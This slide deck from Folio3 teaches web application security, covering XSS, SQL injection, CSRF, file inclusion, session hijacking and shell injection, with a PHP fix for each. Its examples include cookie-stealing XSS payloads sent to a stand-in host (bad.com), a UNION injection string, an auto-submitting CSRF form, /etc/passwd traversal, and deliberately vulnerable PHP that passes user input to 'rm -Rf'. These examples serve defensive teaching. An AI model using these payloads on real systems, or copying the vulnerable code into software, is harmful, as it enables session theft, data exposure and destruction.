Web Application Security - Folio3

WEB APPLICATION
SECURITY
DOS AND DON’TS
M. Waseem & A. Mateen
23rd May 2013
@folio_3 www.folio3.com Copyright 2015

Web Application Security
 It’s a vast topic
While you do not know attacks, how can
you know about defense?
 High level and common vulnerabilities
 How to avoid these?

It is Important
75% of cyber attacks and internet security
violations are generated through Internet
applications
Source: Gartner Group

Vulnerabilities are common!
 iViZ Security study (2012) shows
 99% of the Apps tested had at least 1 vulnerability
 82% of the web application had at least 1
High/Critical Vulnerability
 90% of hacking incidents never gets known to
public
 Average number of vulnerability per website: 35
 30% of the hacked organizations knew the
vulnerability (for which they got hacked)
beforehand
 #1 Vulnerability: Cross site scripting (61%)@folio_3 www.folio3.com Copyright 2015

Top Vulnerabilities
0% 10% 20% 30% 40% 50% 60% 70%
Cross Site Request Forgery
Information Leakage
Cross Site Scripting
25%
51%
65%
Percentage of websites containing the Vulnerabilities

High Level Vulnerabilities
1. Cross-Site Scripting (XSS)
2. Information leakage
3. SQL Injection
4. Cross-Site Request Forgery (CSRF)
5. Unrestricted File Upload
6. File Inclusion
7. Phishing
8. Session Hijacking
9. Shell injection

Cross-Site Scripting (XSS)
 An attacker can inject executable code (JS,
HTML, etc.) into a webpage.
 Example:
http://site.com/search.php?q=<script>alert(“XS
S”)</script>
<img src=“http://bad.com/xss.js”>
 Types:
 Non-Persistent
 Persistent

 Non-Persistent
 Attacker is able to execute his own code into a
webpage but no changes can be done in that website.
 Example
http://www.site.com/viewtopic.php?id=4"><script>docum
ent.location="http://bad.com/logger.php?cookie="+doc
ument.cookie;</script>
Or
http://www.site.com/viewtopic.php?id=4”><script>docum
ent.write(“<img
src=‘http://bad.com/logger.php?cookie=“+
document.cookie+”’/>”);</script>

 Persistent
 Attacker stores executable code in the website
database which is being executed every time
webpage is showing the data.
 Common targets
 Comments
 User submitted content
 Signup forms etc.

 Example

 Comment in raw format:
and I like the way this website developers
work..hahaha :D :D
<script src=“http://bad.com/xss.js”></script>
 Should have been printed like
 <script
src="http://bad.com/xss.js"></scri
pt>

 Solutions
 Input sanitization
 PHP function strip_tags(), htmlentities(),
htmlspecialchars()
 PHP filter_input()
 PHP libraries:
 HTML Safe, htmLawed, kses, Safe HTML Checker, etc
 Output sanitization
 PHP htmlentities(), htmlspecialchars()

Information Leakage
 An application reveals sensitive data, such as
technical details of the web application,
environment, or user-specific data.
 Example
Warning: mysql_connect() [function.mysql-connect]:
Access denied for user 'root'@'localhost' (using
password: YES) in /usr/www/kint/view.php on line
8
Warning: include(pages/../../../../../../etc/passwd1)
[function.include]: failed to open stream: No such
file or directory in /usr/www/users/kint/view.php on
line 20

Information Leakage
 Faulty directory listing configuration
 All files in directory visible
 Improper error handling
 Error message may contain paths, user, server
info
 Specifically in php file path is reveled
 Filetype handling
 HTTP Headers
 X-Powered-By, X-Generator etc
 Sensitive HTML comments, etc.

Information Leakage
 Directory listing configuration
 Put a blank file named index.html in that directory.
 Disable indexing in .htaccess
 Options –indexes
 All sub-directories of that directory will also get their
directory listings turned off.
 Error handling
 Configure error message using error_reporting,
display_errors, log_errors and error_log in php.ini
 Configure error handling in .htaccess as well

Information Leakage
 Remove headers which reveal information
 X-Powered-By, X-Generator etc
 Use header_remove() PHP function
 Comments in source
 Never put much information in html or js
 Comments should be in php so that they are not
visible to visitor

Information Leakage
 Filestypes
 Never keep files which can be downloaded in public
directory, unless it is for public.
 Include files (.inc, .class, .db etc.)
 Compressed files(.zip, .rar, .tar.gz, etc.)
 Database files(.sql, .cvs, .xml, .xls, etc.)
 Unknown files(.bak, .inc, .copy, .bkp, etc.)
 Configure htaccess
 <Files ~ ".(inc|sql)$">
order allow,deny
deny from all
</Files>

SQL Injection
 Attacker is able to inject custom sql into a
query.
 Example
 http://site.com/product.php?id=10+AND+1=2+union+s
elect+1,2,database(),version(),user(),6+--

SQL Injection
Select id, meta_title, name, details, category,
metadescription WHERE id = 10 and deleted =
0
becomes
Select id, meta_title, name, details, category,
metadescription WHERE id = 10 and 1=2
UNION select 1,2, database(), version(),
user(), 6 --and deleted = 0

SQL Injection
 Escape the input
 mysql_real_escape_string()
 filter_var()
 Intval, floatval
 Filter input (use whitelists not blacklists)
 Use prepared statements, parameterized
queries etc. Most frameworks/cms have it.
 Limit database permissions (start with the
lowest permissions)

Cross-Site Request Forgery
(CSRF)
 Allow other websites to send unauthorized
requests to it, using the active session of its
authorized users.
 Example
 User visits a site where attacker has already
injected his code (hacked.com) in another
tab/window
 A review is posted for bad.com

(CSRF)
<div style=“display:none”>
<iframe name=“hidden”></iframe>
<form name=“Form” action= “http://site.com/post.php” target=“hidden”
method=“POST”>
<input type=“text” name=“message” value=“I like www.bad.com” />
<input type=“text” name=“rating” value=“5” />
<input type=“submit” />
</form>
<script>document.Form.submit();</script>
</div>

(CSRF)
 Solution
 Use hash tokens into each generated form.
 Check token when form is submitted
 Check referrer header (partial protection)

Unrestricted File Upload
 Allows attacker to upload malicious files to the
server.
 Most of the time scripts to take control server.
 Example
$usrFile = $_FILES[‘userfile’][‘name’];
$uploadFolder= "uploads/";
if(move_uploaded_file($usrFile,$uploadFolder))
{ echo “File has been successfully uploaded.“;
} else{ echo “Error. Please try again!"; }

Unrestricted File Upload
 Solution
 White list the extensions which can be uploaded
 Check for double extensions
 Check mime type (partial solution)
 Rename file before saving
 Restrict access to uploaded files (htaccess)
 <Files ~ "^w+.(gif|jpe?g|png)$">
 order deny,allow
 allow from all
 </Files>

File Inclusion
 Allows an attacker to include local or remote
file into the vulnerable webpage code.
 EXAMPLE:
 http://site.com/view.php?file=../../../../../etc/passwd
 Files can be server configuration files such as
system users information, filesystem structure,
code etc

File Inclusion
 Vulnerable PHP codes
 <?php include($_GET['file']); ?>
 <?php include($_POST['file'].".htm"); ?>
 <?php
include("includes/".$_GET['file']);
?>
 <?php
include("includes/".$_GET['file'].".htm");
?>
etc.

File Inclusion
 Potential target functions
 include()/include_once()
 require()/require_once()
 file_get_contents()
 fopen()
 file()
 copy()
 unlink()
 upload_tmp_dir()
 move_uploaded_file()
 Imagecreatefrom functions etc

File Inclusion
 Use open_basedir settings in php.ini
 Filter input for functions mentioned in previous
slide.
 Use whitelisted filenames or allow only valid
file name characters (don’t allow ../ etc)
 Modify the php.ini configuration file:
 allow_url_fopen = Off
 allow_url_include = Off
 register_globals = Off (in older versions its “ON” by default)

Phishing
 Social Engineering technique to steal
confidential information through the use of fake
login page.
 EXAMPLE:
 http://www.gooqle.com/accounts/ServiceLogin?se
rvice=mail

Phishing
Exact replica is served to the visitor,
data is sent to hacker

Phishing
 Use HTTPS instead of HTTP
 So that user may see the details of the domain
owner in the SSL certificate information.
 Use short URL addresses for login pages
 So that users could easily recognize login page
address.
 Use Yahoo! Sign-in Seal like system
 It is a unique identifier chosen by the user.

Session Hijacking
 Allows unauthorized access of an authorized
user by having active session identifier (SID)
 EXAMPLE:
 http://wg180.site.com/dk;jsessionid=0754aff827cf
e9f7db7f48e7018ed1e6.wg180?st.cmd=userMain
&tkn=8809

Session Hijacking
 Store SID in HTTP cookies
 Don’t accept SIDs from GET and POST requests, use
cookies:
 session.use_cookies = 1
 session.use_only_cookies = 1
 This will prevent session fixation by url
 Regenerate SID after login or on each request
 Put session_regenerate_id(true); after the
session_start()
 Accept only SIDs generated by own server
 Use $_SESSION['SERVER_GENERATED_SID'] to
identify whether SID has been created by your web@folio_3 www.folio3.com Copyright 2015

Session Hijacking
 Destroy old SIDs
 Keep session time out small
 ini_set("session.cookie_lifetime","600");
 Completely destroy the session on user logout
 Use SSL for user authentication and
afterwards
 It will prevent network sniffing

Shell Injection
 Allows an attacker to execute shell commands in
the web server.
 Example
 http://site.com/delete.php?file=/
 <?php
//delete.php
$file = $_GET[‘file’];
echo 'erasing ' . $file . ‘<br />’;
system(“rm -Rf $file”) ;
echo ‘done‘;
?>

Shell Injection
 Potential target functions
 shell_exec(), exec(), system(), passthru(), eval()
 Solution
 Disable shell functions, use disable_functions in
php.ini
 Allow only white listed commands to be used
 Use PHP built-in function to escape the user input
 Escapeshellarg() , escapeshellcmd()

In a Nutshell
 Never trust inputs
 Get, Post, Cookies, File upload
 Every input can be faked
 Filter, Sanitize, Validate each input
 Use white lists
 Don’t allow html unless required
 Don’t expose internal information of applications
 Handle exceptions
 Test and Monitor application for security
 Keep cms, frameworks, plugins updated (at least
security fixes)

Vulnerability Scanners
 Acunetix WVS
 Skipfish
 AppScan
 HP WebInspect
 Nikto (Wikto)
 Netsparker
 W3af
 Grendel-Scan
 Websecurify
 Burp Suite
 Uniscan
and more

Resources
 OWASP https://www.owasp.org/
 WASC http://projects.webappsec.org
 Vulnerapedia
http://lab.gsi.dit.upm.es/semanticwiki/index.ph
p/Main_Page
 CWE http://cwe.mitre.org/index.html
 Securiteam http://www.securiteam.com/
 Tracker of vulnerable sites
http://www.vulntraq.com/

Web Application Security - Folio3

More Related Content

What's hot (20)

Similar to Web Application Security - Folio3 (20)

More from Folio3 Software (20)

Recently uploaded (20)

Web Application Security - Folio3

Editor's Notes